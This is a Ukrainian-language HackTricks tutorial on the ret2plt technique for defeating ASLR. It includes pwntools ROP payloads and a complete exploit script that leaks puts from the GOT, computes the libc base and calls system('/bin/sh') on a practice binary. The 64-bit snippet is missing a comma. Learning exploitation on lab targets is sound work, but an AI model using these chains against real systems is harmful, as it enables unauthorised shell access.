hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

5.2 KiB
Raw Permalink Blame History

Ret2plt

{% hint style="success" %} Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}

Основна інформація

Метою цієї техніки є витік адреси функції з PLT, щоб обійти ASLR. Це тому, що, наприклад, якщо ви витікаєте адресу функції puts з libc, ви потім можете обчислити базу libc та обчислити зміщення для доступу до інших функцій, таких як system.

Це можна зробити за допомогою пакету pwntools, наприклад (звідси):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Зверніть увагу, як puts (використовуючи адресу з PLT) викликається з адресою puts, розташованою в GOT (глобальній таблиці зміщень). Це тому, що на момент, коли puts друкує запис GOT puts, цей запис буде містити точну адресу puts в пам'яті.

Також зверніть увагу, як адреса main використовується в експлойті, тому коли puts завершує своє виконання, бінарний файл знову викликає main замість виходу (таким чином витік адреси залишиться дійсним).

{% hint style="danger" %} Зверніть увагу, що для цього працювати бінарний файл не може бути скомпільований з PIE або вам потрібно мати витік для обходу PIE, щоб знати адресу PLT, GOT та main. В іншому випадку спочатку потрібно обійти PIE. {% endhint %}

Ви можете знайти повний приклад цього обходу тут. Це був остаточний експлойт з того прикладу:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Інші приклади та посилання

  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64-бітна, увімкнена ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім ROP-гаджет для виклику system('/bin/sh').
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64-бітна, увімкнена ASLR, без канарейки, переповнення стеку в main від дочірньої функції. ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.